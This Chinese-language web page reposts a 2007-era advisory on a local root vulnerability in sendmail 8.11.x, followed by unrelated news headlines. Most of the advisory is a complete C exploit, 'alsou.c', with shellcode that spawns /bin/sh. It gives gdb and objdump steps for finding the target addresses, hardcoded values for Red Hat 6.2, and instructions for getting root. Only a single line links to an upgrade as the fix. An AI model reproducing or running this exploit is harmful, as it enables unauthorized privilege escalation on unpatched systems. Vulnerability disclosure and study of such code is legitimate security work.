分享
 
 
 

sendmail漏洞(APP缺陷)

王朝厨房·作者佚名  2007-01-05
窄屏简体版  字體: |||超大  

涉及程序:

sendmail

描述:

本地攻击者利用 sendmail 漏洞能取得 root 权限

详细:

发现 sendmail 存在本地漏洞,攻击者利用此漏洞能取得 root 特权。

测试系统:

Sendmail 8.11.4 on Red Hat 6.2 and kernel 2.2.18

以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负

/*

* alsou.c

*

* sendmail-8.11.x linux x86 exploit

*

* To use this exploit you should know two numbers: VECT and GOT.

* Use gdb to find the first:

*

* $ gdb -q /usr/sbin/sendmail

* (gdb) break tTflag

* Breakpoint 1 at 0x8080629

* (gdb) r -d1-1.1

* Starting program: /usr/sbin/sendmail -d1-1.1

*

* Breakpoint 1, 0x8080629 in tTflag ()

* (gdb) disassemble tTflag

* .............

* 0x80806ea : dec %edi

* 0x80806eb : mov %edi,0xfffffff8(%ebp)

* 0x80806ee : jmp 0x80806f9

* 0x80806f0 : mov 0x80b21f4,%eax

* ^^^^^^^^^^^^^^^^^^ address of VECT

* 0x80806f5 : mov %bl,(%esi,%eax,1)

* 0x80806f8 : inc %esi

* 0x80806f9 : cmp 0xfffffff8(%ebp),%esi

* 0x80806fc : jle 0x80806f0

* .............

* (gdb) x/x 0x80b21f4

* 0x80b21f4 : 0x080b9ae0

* ^^^^^^^^^^^^^ VECT

*

* Use objdump to find the second:

* $ objdump -R /usr/sbin/sendmail |grep setuid

* 0809e07c R_386_JUMP_SLOT setuid

* ^^^^^^^^^ GOT

*

* Probably you should play with OFFSET to make exploit work.

*

* Constant values, written in this code found for sendmail-8.11.4

* on RedHat-6.2. For sendmail-8.11.0 on RedHat-6.2 try VECT = 0x080b9ae0 and

* GOT = 0x0809e07c.

*

* To get r00t type ./alsou and then press Ctrl+C.

*

*

* grange

*

*/

#include

#include

#define OFFSET 1000

#define VECT 0x080baf20

#define GOT 0x0809f544

#define NOPNUM 1024

char shellcode[] =

"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"

"\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"

"\xc0\x88\x43\x07\x89\x5b\x08\x89"

"\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"

"\x0b\xcd\x80\xe8\xe6\xff\xff\xff"

"/bin/sh";

unsigned int get_esp()

{

__asm__("movl %esp,%eax");

}

int main(int argc, char *argv[])

{

char *egg, s[256], tmp[256], *av[3], *ev[2];

unsigned int got = GOT, vect = VECT, ret, first, last, i;

egg = (char *)malloc(strlen(shellcode) + NOPNUM + 5);

if (egg == NULL) {

perror("malloc()");

exit(-1);

}

sprintf(egg, "EGG=");

memset(egg + 4, 0x90, NOPNUM);

sprintf(egg + 4 + NOPNUM, "%s", shellcode);

ret = get_esp() + OFFSET;

sprintf(s, "-d");

first = -vect - (0xffffffff - got + 1);

last = first;

while (ret) {

i = ret & 0xff;

sprintf(tmp, "%u-%u.%u-", first, last, i);

strcat(s, tmp);

last = ++first;

ret = ret >> 8;

}

s[strlen(s) - 1] = '\0';

av[0] = "/usr/sbin/sendmail";

av[1] = s;

av[2] = NULL;

ev[0] = egg;

ev[1] = NULL;

execve(*av, av, ev);

}

解决方案:

下载安装升级版本:

http://www.sendmail.org/8.12.0.Beta19.html

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有